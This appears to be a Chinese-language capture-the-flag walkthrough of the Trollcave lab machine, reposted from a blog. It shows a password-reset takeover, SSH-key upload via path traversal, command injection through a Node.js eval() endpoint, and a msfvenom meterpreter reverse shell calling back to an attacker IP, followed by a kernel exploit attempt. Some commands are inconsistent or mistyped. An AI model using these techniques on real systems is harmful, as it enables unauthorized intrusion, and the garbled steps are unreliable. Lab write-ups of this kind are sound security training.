Trollcaveb靶机渗透测试

简介:一个社区论坛网站

“God himself cannot hack this website.” – dragon, site admin

很牛逼的介绍啊!!

Trollcave渗透测试案例:

1.了解其功能

主要功能:欢迎导语页面,密码重置,法律宗教

2.发现服务(nmap)

1.发现主机IP

nmap -sP

2.发现端口(服务)

nmap -sS -O(显示操作系统信息) -P0(无Ping扫描) -n(不进行dns解析) -A
nmap -sS -O -P0 -n -A

关于-P0:

无ping扫描可以躲避某些防火墙的防护,可以在目标主机禁止ping的情况下使用。

用-P0禁止主机发现会使Nmap对每一个指令的目标IP地址进行所要求的扫描,可以穿透防火墙,也可以避免被防火墙发现。

得到端口:

20:ssh

80:HTTP

3.逻辑缺陷分析

1.分析网站的功能

1.注册不可用

2.网站用户的权限:

King:superadmin

coderguy:admin

3.修改(重置)密码的路径暴露了:

password_resets

所以我最近收到了很多用户的电子邮件,他们忘记了密码,需要重新设置。因为这个网站没有“忘记密码”按钮,我不得不手动重置。我真的厌倦了,所以是时候实施密码重置了。目前正忙于此事,但网站电子邮件有问题。您可能已经注意到,由于这个原因,新用户的激活已被关闭。到目前为止,我已经在rails中实现了一个password_resets资源(implemented a password_resets resource in rails),除了电子邮件之外,它的工作效率大约是90%。非常令人沮丧。如果有人对如何让电子邮件正常工作有任何建议,请给我发一封

这里也就是说已经通过发送邮件的方式来进行修改密码

而且是基于rail来实现的

2.从功能上分析逻辑漏洞

1.重置密码漏洞:

①漏洞发现,发现重置密码的路径

②漏洞利用,修改超级管理员的密码

4.利用漏洞

1.经过对implemented a password_resets resource in rails资料查阅(这里有两个关键词password_resets和rails,google一下,发现这么一个网站https://www.railstutorial.org/book/password_reset):

/password_resets/new可以对member成员的密码进行修改但是对King无法进行修改

http://192.168.204.140/password_resets/edit.gYFOFjpUNzONVKNaC_xwrg?name=xer

2.但是这里存在一个垂直越权的漏洞:

http://192.168.204.140/password_resets/edit.gYFOFjpUNzONVKNaC_xwrg?name=King

说明已经将King的密码成功修改了

然后登陆:success!!!

3.接下来开始利用superadmin来对该网页进行学习(嘿嘿嘿)

①创建ssh公钥:

a.在攻击机利用ssh命令创建一个public key,来连接靶机上你先要连接的用户

通过信息收集:

嘿,伙计,如果我要在网站上做更多的工作,我真的需要sudo访问。我也不知道对我来说交互使用rails用户是一个多好的主意,也许我们应该分开,我梦寐以求的coderguy in /etc/sudoers…

得到用户:rails

然后收集到一个路径:/home/rails/.ssh/authorized_keys这个地方是文件名可以自行修改

b.接下来在kali上为其创建公钥

ssh-keygen -C(为所创建的公钥做注释)[email protected]

②把public key上 传到靶机上:

a.利用文件上传

b.按公钥存储的路径(默认Default)上传公钥

…/…/…/…/…/…/home/rails/.ssh/authorized_keys(上传的名字)注意这里的名字一定要是authorized_keys

③在攻击机利用公钥去连接靶机上的用户

ssh [email protected] -i xxx(此处的名字要与你上传的xxx.pub文件名字相同,不然会连接不上!!!!)
Last login: Thu Jul 11 03:57:36 2019 from 192.168.198.136
$ ifconfig  
inet addr:192.168.204.140
$ whoami
rails
$ ls /home
coderguy  dave	dragon	king  rails          

5.关键文件代码分析

$vim /home/king/calc/calc.js

http.createServer(onRequest).listen(8888, '127.0.0.1')//说明在靶机上创建了一个服务8端口8888
分析route(路由)函数:
##解释:根据url里面不同的地址,分别调用与之对应的函数来响应
function calc(pathname, request, query, response)
{
        sum = query.split('=')[1];
        #将等号后面的值赋给sum
        console.log(sum)
        #其实这个方法和alert方法类似,唯一不同的是该方法是显示在控制台的,而alert()方法是显示在浏览器上的
        response.writeHead(200, {"Content-Type": "text/plain"});
#向请求的客户端发送响应头。 
该函数在一个请求内最多只能调用一次,如果不调用,则会自动生成一个响应头。statusCode HTTP状态码,如200(请求成功),404(未找到)等。
        response.end(eval(sum).toString());
        #停止处理文件的脚本代码,并且返回当前产生的内容
}

response.end(eval(sum).toString());

eval()执行response对象end(计算公式),之后把计算公式的结果返回到浏览器

eg:http://192.168.204.140/?sum=1+1然后通过end来把结果2反馈给浏览器

eg:http://192.168.204.140/?sum=require(“child_process”).exec(“whoami”)

这里会通过require()在本地操作系统上启动一个子进程,然后通过上述子进程去执行(exec)whoami这个shell命令,然后将上述内容房子eval()里面,结果就会在本地操作系统上真正执行whoami

踩坑:如果calc.js文件因为操作失误不小心把内容干没了,就重置虚拟机

6.代码漏洞验证

接下来使用虚拟机来模拟上述的在URL里面执行的操作

1.验证8888端口服务是不是启动

netstat -antp
列出当前主机上所有开放的端口
|grep 8888
只看端口8888是否启动
netstat -antp | grep 8888

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1adqv1Us-1636160321528)(http://images2.5666888.xyz//搜狗截图20年12月28日1925_5.png)]

curl "http://127.0.0.1:8888/calc?sum=1+1"

curl "http://127.0.0.1:8888/calc?sum=require('child_process').exec('whoani')"

如果命令执行且没有报错,说明可能存在shell上传漏洞,也就是说,有可以利用的反弹shell

7.生成并上传shell

这里不会得到命令的输出,而是返回了[object Object],由此猜测sum参数里的whoami这个命令被执行了,因此可以利用这里触发一个shell。

1.使用msfvenom创建shell:

msfvenom -p linux/x64/meterpreter_reverse_tcp → 设置payload

-f elf → 生成格式

-o shell → 生成路径(输出文件名字)

LHOST=192.168.110.6 → Kali地址

LPORT=6666 → 反弹端口

先启动msfconsole,之后输入如下命令:

msf > msfvenom -p linux/x64/meterpreter_reverse_tcp -f elf -o demo -a x64 --platform linux LHOST=192.168.204.138 LPORT=6666

2.利用文件漏洞上传shell

路径:/tmp/demo

可以看出上传文件成功

3.反弹shell

msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x64/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 192.168.110.6
msf exploit(handler) > set LPORT 6666
msf exploit(handler) > run -j
cd /tmp
./yshell

发现因为权限问题yshell无法反弹

4.编写启动shell的脚本(在tmp目录下)

因为rails用户没有上传执行shell的权限

vim run.sh
#!/bin/bash
sudo cp /tmp/shell1 /home/king/shell1
sudo chown king:king /home/king/shell1(chown: 修改所属用户与组。将shell1拥有者与群组改为king)
sudo chmod a+x /home/king/shell1
sudo /home/king/shell1

对chmod命令的回顾:

符号类型改变文件权限方式:

还有一个改变权限的方法,从之前的介绍中我们可以发现,基本上就九个权限分别是:

  • user:用户
  • group:组
  • others:其他

那么我们就可以使用 u, g, o 来代表三种身份的权限。

此外, a 则代表 all,即全部的身份。读写的权限可以写成 r, w, x,也就是可以使用下表的方式来看:

chmod u g o a +(加入) -(除去) =(设定) r w x 文件或目录

如果我们需要将文件权限设置为 -rwxr-xr– ,可以使用 chmod u=rwx,g=rx,o=r 文件名 来设定:

#  touch test1    // 创建 test1 文件
# ls -al test1    // 查看 test1 默认权限
-rw-r--r-- 1 root root 0 Nov 15 10:32 test1
# chmod u=rwx,g=rx,o=r  test1    // 修改 test1 权限
# ls -al test1
-rwxr-xr-- 1 root root 0 Nov 15 10:32 test1

而如果是要将权限去掉而不改变其他已存在的权限呢?例如要拿掉全部人的可执行权限,则:

#  chmod  a-x test1
# ls -al test1
-rw-r--r-- 1 root root 0 Nov 15 10:32 test1

5.运行脚本

./run.sh

但是因为权限不够,脚本无法运行

因为/home/king目录下的calc

curl "http://127.0.0.1:8888/calc?sum=require('child_process').exec('/tmp/run.sh')"

然后没有反弹shell

查看了一下king目录下,并没有yshell,也就是说脚本没有运行

chmod a+x run.js#赋予可执行权限

然后再curl成功反弹shell

python -c ‘import pty; pty.spawn("/bin/bash")’

另一种方法(针对ubantu的版本漏洞进行提权):

1.ssh创建好shell

uname -a得:
Linux trollcave 4.4.0-197-generic #229-Ubuntu SMP Wed Nov 25 11:05:42 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

cat /proc/version得:

Linux version 4.4.0-197-generic (buildd@lcy01-amd64-026) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.12) ) #229-Ubuntu SMP Wed Nov 25 11:05:42 UTC 2020

2.得知ubantu和linux版本信息

懂~~~~

searchsploit 4.4.0-197

Exploits: No Result
Shellcodes: No Result

是在下不配了

百度Ubuntu16.04 本地提权漏洞复测过程

rails@trollcave:/proc/sys/kernel$ cat unprivileged_bpf_disabled 
0

**1,下载poc文件 upstream44.c
下载地址:http://cyseclabs.com/exploits/up … mp;isappinstalled=0

**

下载物理机上传kali上面就行

root@kali1:~/桌面/trollcave# gcc -o upstream upstream44.c

复制,利用网站的文件上传漏洞传到/tmp/.Test-unix/666并赋予可执行命令,结果出问题了

Guess you like

Origin blog.csdn.net/qq_50589021/article/details/121174304